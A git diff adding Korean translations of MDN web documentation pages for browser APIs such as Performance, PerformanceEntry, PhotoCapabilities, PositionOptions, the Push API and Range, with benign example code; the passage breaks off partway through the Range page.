+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Highres Time Level 2', '#the-performance-interface', 'toJSON()')}}{{Spec2('Highres Time Level 2')}}Defines toJson() method.
{{SpecName('Highres Time', '#the-performance-interface', 'Performance')}}{{Spec2('Highres Time')}}Defines now() method.
{{SpecName('Navigation Timing', '#sec-window.performance-attribute', 'Performance')}}{{Spec2('Navigation Timing')}}Defines timing and navigation properties.
{{SpecName('Performance Timeline Level 2', '#extensions-to-the-performance-interface', 'Performance extensions')}}{{Spec2('Performance Timeline Level 2')}}Changes getEntries() interface.
{{SpecName('Performance Timeline', '#sec-window.performance-attribute', 'Performance extensions')}}{{Spec2('Performance Timeline')}}Defines getEntries(), getEntriesByType() and getEntriesByName() methods.
{{SpecName('Resource Timing', '#extensions-performance-interface', 'Performance extensions')}}{{Spec2('Resource Timing')}}Defines clearResourceTimings() and setResourceTimingBufferSize() methods and the onresourcetimingbufferfull property.
{{SpecName('User Timing Level 2', '#extensions-performance-interface', 'Performance extensions')}}{{Spec2('User Timing Level 2')}}Clarifies mark(), clearMark(), measure() and clearMeasure() methods.
{{SpecName('User Timing', '#extensions-performance-interface', 'Performance extensions')}}{{Spec2('User Timing')}}Defines mark(), clearMark(), measure() and clearMeasure() methods.
{{SpecName('Frame Timing', '#extensions-performance-interface','Performance extensions')}}{{Spec2('User Timing')}}Defines clearFrameTimings(), setFrameTimingBufferSize(), and onframetimingbufferfull methods.
+ +

Browser compatibility

+ +
+
+ + +

{{Compat("api.Performance")}}

+
+
diff --git a/files/ko/web/api/performance/mark/index.html b/files/ko/web/api/performance/mark/index.html new file mode 100644 index 0000000000..7c4261e1ba --- /dev/null +++ b/files/ko/web/api/performance/mark/index.html @@ -0,0 +1,101 @@ +--- +title: performance.mark() +slug: Web/API/Performance/mark +tags: + - API + - Method + - Reference + - Web Performance +translation_of: Web/API/Performance/mark +--- +
{{APIRef("User Timing API")}}
+ +

mark() 메소드는 브라우저의 performance entry buffer에 주어진 이름으로 {{domxref("DOMHighResTimeStamp","timestamp")}}를 생성합니다. timestamp가 정의된 응용프로그램은 {{domxref("Performance")}} 인터페이스의 getEntries*() 메소드들을 통해 불러올 수 있습니다. ({{domxref("Performance.getEntries","getEntries()")}}, {{domxref("Performance.getEntriesByName","getEntriesByName()")}}, {{domxref("Performance.getEntriesByType","getEntriesByType()")}}).

+ +

{{AvailableInWorkers}}

+ +

mark의 {{domxref("PerformanceEntry","performance entry")}}는 다음 속성값을 갖습니다:

+ + + +

만약 메서드에 주어진 name이 이미 {{domxref("PerformanceTiming")}} 인터페이스 상에 존재한다면 {{jsxref("SyntaxError")}}를 throw 합니다.

+ +

Syntax

+ +
performance.mark(name);
+
+ +

Arguments

+ +
+
name
+
mark의 이름을 나타내는 {{domxref("DOMString")}}.
+
+ +

Return value

+ +
+
void
+
+
+ +

Example

+ +

다음 예시는 mark()를 사용하여 {{domxref("PerformanceMark")}}를 생성하고 불러오는 방법을 보여줍니다.

+ +
// Create a bunch of marks.
+performance.mark("squirrel");
+performance.mark("squirrel");
+performance.mark("monkey");
+performance.mark("monkey");
+performance.mark("dog");
+performance.mark("dog");
+
+// Get all of the PerformanceMark entries.
+const allEntries = performance.getEntriesByType("mark");
+console.log(allEntries.length);
+// 6
+
+// Get all of the "monkey" PerformanceMark entries.
+const monkeyEntries = performance.getEntriesByName("monkey");
+console.log(monkeyEntries.length);
+// 2
+
+// Clear out all of the marks.
+performance.clearMarks();
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('User Timing Level 2', '#dom-performance-mark', 'mark()')}}{{Spec2('User Timing Level 2')}}Clarifies mark() processing model.
{{SpecName('User Timing', '#dom-performance-mark', 'mark()')}}{{Spec2('User Timing')}}Basic definition.
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.Performance.mark")}}

+
diff --git a/files/ko/web/api/performance/now/index.html b/files/ko/web/api/performance/now/index.html new file mode 100644 index 0000000000..f252b19a85 --- /dev/null +++ b/files/ko/web/api/performance/now/index.html @@ -0,0 +1,99 @@ +--- +title: performance.now() +slug: Web/API/Performance/now +tags: + - Performance + - performance.now +translation_of: Web/API/Performance/now +--- +
{{APIRef("High Resolution Timing")}}
+ +

The performance.now() method returns a {{domxref("DOMHighResTimeStamp")}}, measured in milliseconds.

+ +
+

The timestamp is not actually high-resolution. To mitigate security threats such as Spectre, browsers currently round the results to varying degrees. (Firefox started rounding to 1 millisecond in Firefox 60.) Some browsers may also slightly randomize the timestamp. The precision may improve again in future releases; browser developers are still investigating these timing attacks and how best to mitigate them.

+
+ +

{{AvailableInWorkers}}

+ +

The returned value represents the time elapsed since the time origin.

+ +

Bear in mind the following points:

+ + + +

Syntax

+ +
t = performance.now();
+ +

Example

+ +
var t0 = performance.now();
+doSomething();
+var t1 = performance.now();
+console.log("Call to doSomething took " + (t1 - t0) + " milliseconds.");
+
+ +

Unlike other timing data available to JavaScript (for example Date.now), the timestamps returned by performance.now() are not limited to one-millisecond resolution. Instead, they represent times as floating-point numbers with up to microsecond precision.

+ +

Also unlike Date.now(), the values returned by performance.now() always increase at a constant rate, independent of the system clock (which might be adjusted manually or skewed by software like NTP). Otherwise, performance.timing.navigationStart + performance.now() will be approximately equal to Date.now().

+ +

Reduced time precision

+ +

To offer protection against timing attacks and fingerprinting, the precision of performance.now() might get rounded depending on browser settings.
+ In Firefox, the privacy.reduceTimerPrecision  preference is enabled by default and defaults to 1ms.

+ +
// reduced time precision (1ms) in Firefox 60
+performance.now();
+// 8781416
+// 8781815
+// 8782206
+// ...
+
+
+// reduced time precision with `privacy.resistFingerprinting` enabled
+performance.now();
+// 8865400
+// 8866200
+// 8866700
+// ...
+
+ +

In Firefox, you can also enable privacy.resistFingerprinting — this changes the precision to 100ms or the value of privacy.resistFingerprinting.reduceTimerPrecision.microseconds, whichever is larger.

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Highres Time Level 2', '#dom-performance-now', 'performance.now()')}}{{Spec2('Highres Time Level 2')}}Stricter definitions of interfaces and types.
{{SpecName('Highres Time', '#dom-performance-now', 'performance.now()')}}{{Spec2('Highres Time')}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.Performance.now")}}

+ +

See also

+ + diff --git a/files/ko/web/api/performanceentry/index.html b/files/ko/web/api/performanceentry/index.html new file mode 100644 index 0000000000..35c6271781 --- /dev/null +++ b/files/ko/web/api/performanceentry/index.html @@ -0,0 +1,142 @@ +--- +title: PerformanceEntry +slug: Web/API/PerformanceEntry +translation_of: Web/API/PerformanceEntry +--- +
{{APIRef("Performance Timeline API")}}
+ +

PerformanceEntry 객체는 performance timeline 상의 단일 성능 수치를 캡슐화 합니다. performance entry는 응용프로그램의 특정 지점에서 performance {{domxref("PerformanceMark","mark")}}{{domxref("PerformanceMeasure","measure")}}를 생성함으로써 (예를 들면 {{domxref("Performance.mark","mark()")}}를 호출하는 방법으로) 직접적으로 만들어질 수 있습니다. 또는 (이미지와 같은) 리소스를 로딩하는 등의 간접적인 방법으로 생성되기도 합니다.

+ +

PerformanceEntry 인스턴스는 항상 다음 서브타입들 중 하나를 따릅니다:

+ + + +

{{AvailableInWorkers}}

+ +

Properties

+ +
+
{{domxref("PerformanceEntry.name")}} {{readonlyInline}}
+
A value that further specifies the value returned by the {{domxref("PerformanceEntry.entryType")}} property. The value of both depends on the subtype. See property page for valid values.
+
{{domxref("PerformanceEntry.entryType")}} {{readonlyInline}}
+
A {{domxref("DOMString")}} representing the type of performance metric such as, for example, "mark". See property page for valid values.
+
{{domxref("PerformanceEntry.startTime")}} {{readonlyInline}}
+
A {{domxref("DOMHighResTimeStamp")}} representing the starting time for the performance metric.
+
{{domxref("PerformanceEntry.duration")}} {{readonlyInline}}
+
A {{domxref("DOMHighResTimeStamp")}} representing the time value of the duration of the performance event.
+
+ +

Methods

+ +
+
{{domxref("PerformanceEntry.toJSON","PerformanceEntry.toJSON()")}}
+
Returns a JSON representation of the PerformanceEntry object.
+
+ +

Example

+ +

The following example checks all PerformanceEntry properties to see if the browser supports them and if so, write their values to the console.

+ +
function print_PerformanceEntries() {
+  // Use getEntries() to get a list of all performance entries
+  var p = performance.getEntries();
+  for (var i=0; i < p.length; i++) {
+    console.log("PerformanceEntry[" + i + "]");
+    print_PerformanceEntry(p[i]);
+  }
+}
+function print_PerformanceEntry(perfEntry) {
+  var properties = ["name",
+                    "entryType",
+                    "startTime",
+                    "duration"];
+
+  for (var i=0; i < properties.length; i++) {
+    // Check each property
+    var supported = properties[i] in perfEntry;
+    if (supported) {
+      var value = perfEntry[properties[i]];
+      console.log("... " + properties[i] + " = " + value);
+    } else {
+      console.log("... " + properties[i] + " is NOT supported");
+    }
+  }
+}
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Resource Timing 3')}}{{Spec2('Resource Timing 3')}}
{{SpecName('Resource Timing 2')}}{{Spec2('Resource Timing 2')}}
{{SpecName('Resource Timing')}}{{Spec2('Resource Timing')}}Adds the {{domxref("PerformanceResourceTiming")}} interface and the resource value for entryType.
{{SpecName('Navigation Timing Level 2')}}{{Spec2('Navigation Timing Level 2')}}
{{SpecName('Navigation Timing')}}{{Spec2('Navigation Timing')}}Adds the {{domxref("PerformanceNavigationTiming")}} interface and the navigation value for entryType.
{{SpecName('User Timing Level 2')}}{{Spec2('User Timing Level 2')}}
{{SpecName('User Timing')}}{{Spec2('User Timing')}}Adds the {{domxref("PerformanceMark")}} and {{domxref("PerformanceMeasure")}} interfaces as well as the mark and measure values for entryType.
{{SpecName('Frame Timing')}}{{Spec2('Frame Timing')}}Adds the {{domxref('PerformanceFrameTiming')}} interface and the frame value for entryType.
{{SpecName('Performance Timeline Level 2', '#dom-performanceentry', 'PerformanceEntry')}}{{Spec2('Performance Timeline Level 2')}}Added toJSON() serializer method.
{{SpecName('Performance Timeline', '#dom-performanceentry', 'PerformanceEntry')}}{{Spec2('Performance Timeline')}}Initial definition.
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.PerformanceEntry")}}

+
diff --git a/files/ko/web/api/photocapabilities/index.html b/files/ko/web/api/photocapabilities/index.html new file mode 100644 index 0000000000..5cf3842b87 --- /dev/null +++ b/files/ko/web/api/photocapabilities/index.html @@ -0,0 +1,84 @@ +--- +title: PhotoCapabilities +slug: Web/API/PhotoCapabilities +tags: + - API + - Experimental + - Interface + - MediaStream Image Capture API + - PhotoCapabilities + - Reference +translation_of: Web/API/PhotoCapabilities +--- +
{{APIRef("MediaStream Image")}}
+ +

MediaStream Image Capture APIPhotoCapabilities 인터페이스는 장착된 촬영 장치에서 사용 가능한 설정 옵션을 제공합니다. PhotoCapabilities 객체는 {{domxref("ImageCapture.getPhotoCapabilities()")}}를 사용해 가져올 수 있습니다..

+ +

속성

+ +
+
{{domxref("PhotoCapabilities.redEyeReduction")}} {{readonlyinline}}
+
장치의 적목 현상 감소 기능 적용 여부를 나타내는 열거형 값을 반환합니다. 가능한 값은 "never", "always", "controllable"로, "controllable"이어야 설정 가능합니다.
+
{{domxref("PhotoCapabilities.imageHeight")}} {{readonlyinline}}
+
{{glossary("user agent", "사용자 에이전트")}}가 지원하는 이미지 높이를 나타내는 {{domxref("MediaSettingsRange")}} 객체를 반환합니다.
+
{{domxref("PhotoCapabilities.imageWidth")}} {{readonlyinline}}
+
{{glossary("user agent", "사용자 에이전트")}}가 지원하는 이미지 너비를 나타내는 {{domxref("MediaSettingsRange")}} 객체를 반환합니다.
+
{{domxref("PhotoCapabilities.fillLightMode")}} {{readonlyinline}}
+
사용 가능한 플래시 옵션을 담은 배열을 반환합니다. 가능한 값은 auto, off, flash입니다.
+
+ +

예제

+ +

다음 예제는 Chrome의 Image Capture / Photo Resolution Sample에서 가져온 코드로, {{domxref("ImageCapture.getPhotoCapabilities", "getPhotoCapabilities()")}}를 사용해 범위 입력 칸의 크기를 수정합니다. 또한 장치의 {{domxref("MediaStream")}}에서 가져온 {{domxref("MediaStreamTrack")}} 객체를 사용해 {{domxref("ImageCapture")}} 객체를 생성하는 부분도 포함하고 있습니다.

+ +
const input = document.querySelector('input[type="range"]');
+
+var imageCapture;
+
+navigator.mediaDevices.getUserMedia({video: true})
+.then(mediaStream => {
+  document.querySelector('video').srcObject = mediaStream;
+
+  const track = mediaStream.getVideoTracks()[0];
+  imageCapture = new ImageCapture(track);
+
+  return imageCapture.getPhotoCapabilities();
+})
+.then(photoCapabilities => {
+  const settings = imageCapture.track.getSettings();
+
+  input.min = photoCapabilities.imageWidth.min;
+  input.max = photoCapabilities.imageWidth.max;
+  input.step = photoCapabilities.imageWidth.step;
+
+  return imageCapture.getPhotoSettings();
+})
+.then(photoSettings => {
+  input.value = photoSettings.imageWidth;
+})
+.catch(error => console.log('Argh!', error.name || error));
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('MediaStream Image','#photocapabilities-section','PotoCapabilities')}}{{Spec2('MediaStream Image')}}Initial definition.
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.PhotoCapabilities")}}

+
diff --git a/files/ko/web/api/plugin/index.html b/files/ko/web/api/plugin/index.html new file mode 100644 index 0000000000..68828f0b69 --- /dev/null +++ b/files/ko/web/api/plugin/index.html @@ -0,0 +1,67 @@ +--- +title: Plugin +slug: Web/API/Plugin +tags: + - API + - Add-ons + - DOM + - NeedsContent + - Plug-in + - Plugins +translation_of: Web/API/Plugin +--- +
{{ApiRef("HTML DOM")}}
+ +

플러그 인 인터페이스는 브라우저 플러그 인에 대한 정보를 제공합니다.

+ +
+

Note: 플러그 인 개체의 고유 속성은 더 이상 최신 브라우저 버전에서 찾아볼 수 없습니다.

+
+ +

특성

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
이름설명Return Type유용성
{{domxref("Plugin.description")}} +

플러그 인에 대한 읽기 쉬운 설명입니다. 읽기 전용입니다.

+
{{domxref("DOMString")}}DOM 0
{{domxref("Plugin.filename")}}플러그 인 파일의 파일 이름. 읽기 전용입니다.{{domxref("DOMString")}}DOM 0
{{domxref("Plugin.name")}}플러그 인의 이름. 읽기 전용입니다.{{domxref("DOMString")}}DOM 0
{{domxref("Plugin.version")}}플러그 인의 버전 번호 문자열. 읽기 전용입니다.{{domxref("DOMString")}}Gecko browsers only (Firefox 4+)
+ +

방법

+ +
+
{{domxref("Plugin.item")}}
+
지원되는 유형의 목록에 인덱스 번호를 부여한 경우 지원되는 콘텐츠 유형의 MIME형식을 반환합니다.
+
{{domxref("Plugin.namedItem")}}
+
지원되는 항목의 MIME유형을 반환합니다.
+
diff --git a/files/ko/web/api/positionoptions/index.html b/files/ko/web/api/positionoptions/index.html new file mode 100644 index 0000000000..6e53dde993 --- /dev/null +++ b/files/ko/web/api/positionoptions/index.html @@ -0,0 +1,64 @@ +--- +title: PositionOptions +slug: Web/API/PositionOptions +tags: + - API + - Geolocation API + - Interface + - PositionOptions + - Reference + - Secure context +translation_of: Web/API/PositionOptions +--- +
{{securecontext_header}}{{APIRef("Geolocation API")}}
+ +

PositionOptions 인터페이스는 {{domxref("Geolocation.getCurrentPosition()")}}과 {{domxref("Geolocation.watchPosition()")}}의 매개변수로 전달할 옵션 속성을 포함한 개체를 나타냅니다.

+ +

속성

+ +

PositionOptions 인터페이스는 어떤 속성도 상속하지 않습니다.

+ +
+
{{domxref("PositionOptions.enableHighAccuracy")}} {{securecontext_inline}}
+
위치정보를 가장 높은 정확도로 수신하고 싶음을 나타내는 {{domxref("Boolean")}}입니다. 이 값이 true이고, 장치도 지원한다면 더 정확한 위치정보를 받을 수 있습니다. 그러나 느린 응답 속도와, 모바일 장치에서의 전력 소모량 증가는 주의해야 합니다. 반대로, 값이 false면 기기가 더 빠르게 반응하고 전력 소모도 줄일 수 있습니다. 기본값은 false입니다.
+
{{domxref("PositionOptions.timeout")}} {{securecontext_inline}}
+
기기가 위치를 반환할 때 소모할 수 있는 최대 시간을 밀리초로 나타내는 양의 long 값입니다. 기본값은 {{jsxref("Infinity")}}로, 위치정보를 알아낼 때까지 getCurrentPosition()의 성공 콜백을 호출하지 않습니다.
+
{{domxref("PositionOptions.maximumAge")}} {{securecontext_inline}}
+
캐시에 저장한 위치정보를 대신 반환할 수 있는 최대 시간을 밀리초로 나타내는 양의 long 값입니다. 0으로 설정하면 장치가 사전에 미리 저장한 위치를 사용하지 않고, 항상 현재 위치를 검색합니다. {{jsxref("Infinity")}}로 설정하면 지난 시간에 상관없이 캐시에 저장한 위치를 반환합니다. 기본값은 0입니다.
+
+ +

메서드

+ +

PositionOptions 인터페이스는 어떤 메서드도 구현하거나 상속하지 않습니다.

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Geolocation', '#positionoptions', 'PositionOptions')}}{{Spec2('Geolocation')}}Initial definition
+ +

브라우저 호환성

+ + + +

{{Compat("api.PositionOptions")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/push_api/index.html b/files/ko/web/api/push_api/index.html new file mode 100644 index 0000000000..6daed1c115 --- /dev/null +++ b/files/ko/web/api/push_api/index.html @@ -0,0 +1,118 @@ +--- +title: Push API +slug: Web/API/Push_API +translation_of: Web/API/Push_API +--- +
{{DefaultAPISidebar("Push API")}}
+ +

Push API는 웹 애플리케이션이 현재 로딩이 되어 있지 않더라도 서버로부터 메시지를 받을 수 있도록 하는 기능이다. 이는 개발자들이 비동기적으로 사용자에게 새로운 내용을 시기적절하게 전달할 수 있도록 만들어 준다.

+ +

Push 콘셉트와 사용처

+ +
+

PushManager를 수행할 때,  해당 애플리케이션에 CSRF/XSRF 이슈에 대한 대응책을 마련해놓아야 한다: 

+ + +
+ +

애플리케이션이 push 메시지를 받기 위해서, service worker를 활성화한다. 

+ +

{{domxref("PushManager.subscribe()")}}.

+ +

{{domxref("PushSubscription")}}에 애플리케이션이 보내야 하는 push메시지를 담고, (엔드포인트와 암호화키가 필요)

+ +

service worker는{{domxref("ServiceWorkerGlobalScope.onpush")}} 라는 이벤트 핸들러로부터 전달되는 push 메시지를 처리하기 시작한다.

+ +

각 요청은 capability URL:(당신의 애플리케이션)을 특정하여 엔드포인트를 구성하기 때문에 엔드포인트 URL은 보안에 신경을 써야 하며, 그렇지 않을 경우 다른 애플리케이션에서 당신의 애플리케이션에 push 메시지를 보낼 가능성도 있다. 

+ +

push 메시지를 전달하기 위해 service worker를 활성화하는 건, 리소스 사용이 늘어나는 결과를 가져오기 때문에, 특히 배터리 사용에 영향을 미친다. 한편 push메시지 처리를 위해 브라우저 간 다른 스키마를 가지기 때문에, 표준화된 메커니즘이 없다. Firefox는 한정된 숫자(quota)만을 push 메시지로 보내도록 해 놓았다. 이러한 제한은 사이트에 방문할 때마다 초기화되며, Chrome은 제한이 없으며 모든 push 메시지가 보이도록 한다. 

+ +
+

Note: Gecko 44에 따르면, 각 애플리케이션에 할당된 quota는 3초 정도 다른 알림이 보이는 상태일 때, 새로운 알림이 발생해도 중가하지 않는다. 

+
+ +
+

Note: Chrome 52 이전 버전은 push메시지 활용을 위해선 Google Cloud Messaging에 프로젝트를 세팅해야 하며 한편 push 메시지를 보낼 때 프로젝트 번호 및 API 키를 활용하도록 권장한다. app manifest에 서비스 활용에 필요한 특정 패러미터를 정의해야 한다.

+
+ +

Interfaces

+ +
+
{{domxref("PushEvent")}}
+
Represents a push action, sent to the global scope of a {{domxref("ServiceWorker")}}. It contains information sent from an application to a {{domxref("PushSubscription")}}.
+
{{domxref("PushManager")}}
+
Provides a way to receive notifications from third-party servers, as well as request URLs for push notifications. This interface has replaced the functionality offered by the obsolete {{domxref("PushRegistrationManager")}} interface.
+
{{domxref("PushMessageData")}}
+
Provides access to push data sent by a server, and includes methods to manipulate the received data.
+
{{domxref("PushSubscription")}}
+
Provides a subcription's URL endpoint, and allows unsubscription from a push service.
+
+ +

Service worker additions

+ +

The following additions to the Service Worker API have been specified in the Push API spec to provide an entry point for using Push messages. They also monitor and respond to push and subscription change events.

+ +
+
{{domxref("ServiceWorkerRegistration.pushManager")}} {{readonlyinline}}
+
Returns a reference to the {{domxref("PushManager")}} interface for managing push subscriptions including subscribing, getting an active subscription, and accessing push permission status. This is the entry point into using Push messaging.
+
{{domxref("ServiceWorkerGlobalScope.onpush")}}
+
An event handler fired whenever a {{Event("push")}} event occurs; that is, whenever a server push message is received.
+
{{domxref("ServiceWorkerGlobalScope.onpushsubscriptionchange")}}
+
An event handler fired whenever a {{Event("pushsubscriptionchange")}} event occurs; for example, when a push subscription has been invalidated, or is about to be invalidated (e.g. when a push service sets an expiration time.)
+
+ +

Examples

+ +

Mozilla's ServiceWorker Cookbook contains many useful Push examples.

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Push API")}}{{Spec2("Push API")}}Initial definition
+ +

Browser compatibility

+ +
+

PushEvent

+ +
+ + +

{{Compat("api.PushEvent")}}

+ +

PushMessageData

+ +
+ + +

{{Compat("api.PushMessageData")}}

+
+
+
+ +

See also

+ + + +
{{DefaultAPISidebar("Push API")}}
diff --git a/files/ko/web/api/pushmanager/index.html b/files/ko/web/api/pushmanager/index.html new file mode 100644 index 0000000000..f42fb127ab --- /dev/null +++ b/files/ko/web/api/pushmanager/index.html @@ -0,0 +1,111 @@ +--- +title: PushManager +slug: Web/API/PushManager +tags: + - API + - Experimental + - Interface + - Push + - Push API + - Reference + - Service Workers + - 푸시 + - 푸시 알림 +translation_of: Web/API/PushManager +--- +

{{ApiRef("Push API")}}

+ +

Push APIPushManager 인터페이스는 서드파티 서버에서 알림을 수신하거나, URL에 푸시 알림을 요청하는 방법을 제공합니다.

+ +

PushManager는 {{domxref("ServiceWorkerRegistration.pushManager")}} 속성으로 접근할 수 있습니다.

+ +

속성

+ +
+
{{domxref("PushManager.supportedContentEncodings")}}
+
푸시 메시지의 페이로드를 암호화할 때 지원하는 콘텐츠 인코딩의 목록을 반환합니다.
+
+ +

메서드

+ +
+
{{domxref("PushManager.getSubscription()")}}
+
기존의 푸시 구독을 가져옵니다. 해당 구독에 대한 상세 정보를 담은 {{domxref("PushSubscription")}} 객체를 {{jsxref("Promise")}}로 반환합니다. 구독이 존재하지 않으면 프로미스는 null로 이행합니다.
+
{{domxref("PushManager.permissionState()")}}
+
PushManager의 허가 상태로 이행하는 {{jsxref("Promise")}}를 반환합니다. 상태는 'granted', 'denied', 'prompt' 중 하나입니다.
+
{{domxref("PushManager.subscribe()")}}
+
푸시 서비스에 구독합니다. 해당 구독에 대한 상세 정보를 담은 {{domxref("PushSubscription")}} 객체를 {{jsxref("Promise")}}로 반환합니다. 현재 서비스 워커에 이전 구독이 존재하지 않으면 새로운 푸시 구독을 생성합니다.
+
+ + + +

예제

+ +
this.onpush = function(event) {
+  console.log(event.data);
+  // From here we can write the data to IndexedDB, send it to any open
+  // windows, display a notification, etc.
+}
+
+navigator.serviceWorker.register('serviceworker.js').then(
+  function(serviceWorkerRegistration) {
+    serviceWorkerRegistration.pushManager.subscribe().then(
+      function(pushSubscription) {
+        console.log(pushSubscription.endpoint);
+        // The push subscription details needed by the application
+        // server are now available, and can be sent to it using,
+        // for example, an XMLHttpRequest.
+      }, function(error) {
+        // During development it often helps to log errors to the
+        // console. In a production environment it might make sense to
+        // also report information about errors back to the
+        // application server.
+        console.log(error);
+      }
+    );
+  });
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Push API','#pushmanager-interface','PushManager')}}{{Spec2('Push API')}}Initial definition.
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.PushManager")}}

+
+ +

같이 보기

+ + diff --git a/files/ko/web/api/pushmessagedata/index.html b/files/ko/web/api/pushmessagedata/index.html new file mode 100644 index 0000000000..61d786160b --- /dev/null +++ b/files/ko/web/api/pushmessagedata/index.html @@ -0,0 +1,67 @@ +--- +title: PushMessageData +slug: Web/API/PushMessageData +translation_of: Web/API/PushMessageData +--- +

{{APIRef("Push API")}}{{SeeCompatTable()}}

+ +

The PushMessageData interface of the Push API provides methods which let you retrieve the push data sent by a server in various formats.

+ +

Unlike the similar methods in the Fetch API, which only allow the method to be invoked once, these methods can be called multiple times.

+ +

Messages received through the Push API are sent encrypted by push services and then automatically decrypted by browsers before they are made accessible through the methods of the PushMessageData interface.

+ +

Properties

+ +

None.

+ +

Methods

+ +
+
{{domxref("PushMessageData.arrayBuffer()")}}
+
Extracts the data as an {{domxref("ArrayBuffer")}} object.
+
{{domxref("PushMessageData.blob()")}}
+
Extracts the data as a {{domxref("Blob")}} object.
+
{{domxref("PushMessageData.json()")}}
+
Extracts the data as a JSON object.
+
{{domxref("PushMessageData.text()")}}
+
Extracts the data as a plain text string.
+
+ +

Examples

+ +
self.addEventListener('push', function(event) {
+  var obj = event.data.json();
+
+  if(obj.action === 'subscribe' || obj.action === 'unsubscribe') {
+    fireNotification(obj, event);
+    port.postMessage(obj);
+  } else if(obj.action === 'init' || obj.action === 'chatMsg') {
+    port.postMessage(obj);
+  }
+});
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Push API', '#pushmessagedata-interface', 'PushMessageData')}}{{Spec2('Push API')}}Initial definition.
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.PushMessageData")}}

+
diff --git a/files/ko/web/api/range/index.html b/files/ko/web/api/range/index.html new file mode 100644 index 0000000000..48f236762a --- /dev/null +++ b/files/ko/web/api/range/index.html @@ -0,0 +1,142 @@ +--- +title: range +slug: Web/API/Range +tags: + - API + - DOM + - Reference +translation_of: Web/API/Range +--- +

{{ APIRef("DOM") }}

+ +

Range 객체는 주어진 document 내의 텍스트 노드들의 부분들(parts)과 document의 단편화에 포함된 노드들을 나타내고 있다.

+ +

Range 오브젝트는 Document 객체에 포함되어 있는 createRange 메소드를 사용하여 생성할 수 있다. 또한 selection 객체에 포함되어 있는 getRangeAt 메소드를 사용하여 추출할 수 있다.

+ +

{{domxref("Range.Range()", "Range()")}} 생성자 또한 사용 가능하다.

+ +

속성

+ +
+
collapsed
+
Range의 시작점과 끝점이 같인 위치인지를 알 수 있는 boolean 값을 반환한다.
+
commonAncestorContainer
+
startContainer와 endContainer 노드들을 포함한 최상위 노드를 반환한다.
+
endContainer
+
Range의 끝 위치를 포함하는 Node를 반환한다.
+
endOffset
+
endContainer 안에 있는 Range 끝을 나타내는 숫자(offset)를 반환한다.
+
startContainer
+
Range의 시작 위치를 포함하는 Node를 반환한다.
+
startOffset
+
startContainer 안에 있는 Range 시작을 나타내는 숫자(offset)를 반환한다.
+
+ +

생성자

+ +
+
{{ domxref("Range.Range()", "Range()") }} {{experimental_inline}}
+
Range 객체의 시작과 끝에 따라 전역 {{domxref("Document")}} 와 함께 Range 객체를 반환한다.
+
+ +

메서드

+ +

상속한 메서드는 없다.

+ +
+
{{ domxref("Range.setStart()")}}
+
Range 의 시작 위치를 설정한다.
+
{{ domxref("Range.setEnd()")}}
+
Range 의 끝 위치를 설정한다.
+
{{ domxref("Range.setStartBefore()")}}
+
다른 {{ domxref("Node") }} 와 관계가 있는 Range 의 시작 위치를 설정한다.
+
{{ domxref("Range.setStartAfter()")}}
+
다른 {{ domxref("Node") }} 와 관계가 있는 Range 의 시작 위치를 설정한다.
+
{{ domxref("Range.setEndBefore()")}}
+
다른 {{ domxref("Node") }} 와 관계가 있는 Range 의 끝 위치를 설정한다.
+
{{ domxref("Range.setEndAfter()")}}
+
다른 {{ domxref("Node") }} 와 관계가 있는 Range 의 끝 위치를 설정한다.
+
{{ domxref("Range.selectNode()")}}
+
Range 에 {{ domxref("Node") }} 와 그것의 내용물을 포함 시킨.
+
{{ domxref("Range.selectNodeContents()")}}
+
Range 에 {{ domxref("Node") }} 의 내용물을 포함 시킨.
+
{{ domxref("Range.collapse()")}}
+
Range 의 경계 지점 중 하나로 영역을 붕괴 시킨다.
+
{{ domxref("Range.cloneContents()")}}
+
Range 의 노드들을 복사하여 {{ domxref("DocumentFragment") }} 를 반환한다.
+
{{ domxref("Range.deleteContents()")}}
+
{{ domxref("Document") }} 로 부터 Range 의 컨텐츠들을 삭제한다.
+
{{ domxref("Range.extractContents()")}}
+
{{ domxref("Document") }} 트리로 부터 Range 의 컨텐츠들을 domxref("DocumentFragment") }} 로 이동시킨다.
+
{{ domxref("Range.insertNode()")}}
+
Range 의 맨 앞에 {{ domxref("Node") }}를 삽입한다.
+
{{ domxref("Range.surroundContents()")}}
+
Moves content of a Range into a new {{ domxref("Node") }}.
+
{{ domxref("Range.compareBoundaryPoints()")}}
+
Compares the boundary points of the Range with another Range.
+
{{ domxref("Range.cloneRange()")}}
+
Returns a Range object with boundary points identical to the cloned Range.
+
{{ domxref("Range.detach()")}}
+
Releases the Range from use to improve performance.
+
{{ domxref("Range.toString()")}}
+
Returns the text of the Range.
+
{{ domxref("Range.compareNode()")}} {{ Obsolete_inline }}{{non-standard_inline}}
+
Returns a constant representing whether the {{domxref("Node")}} is before, after, inside, or surrounding the range.
+
{{ domxref("Range.comparePoint()")}} {{experimental_inline}}
+
Returns -1, 0, or 1 indicating whether the point occurs before, inside, or after the Range.
+
{{ domxref("Range.createContextualFragment()")}}{{experimental_inline}}
+
Returns a {{ domxref("DocumentFragment") }} created from a given string of code.
+
{{ domxref("Range.getBoundingClientRect()") }} {{experimental_inline}}
+
Returns a {{ domxref("ClientRect") }} object which bounds the entire contents of the Range; this would be the union of all the rectangles returned by {{ domxref("range.getClientRects()") }}.
+
{{ domxref("Range.getClientRects()") }} {{experimental_inline}}
+
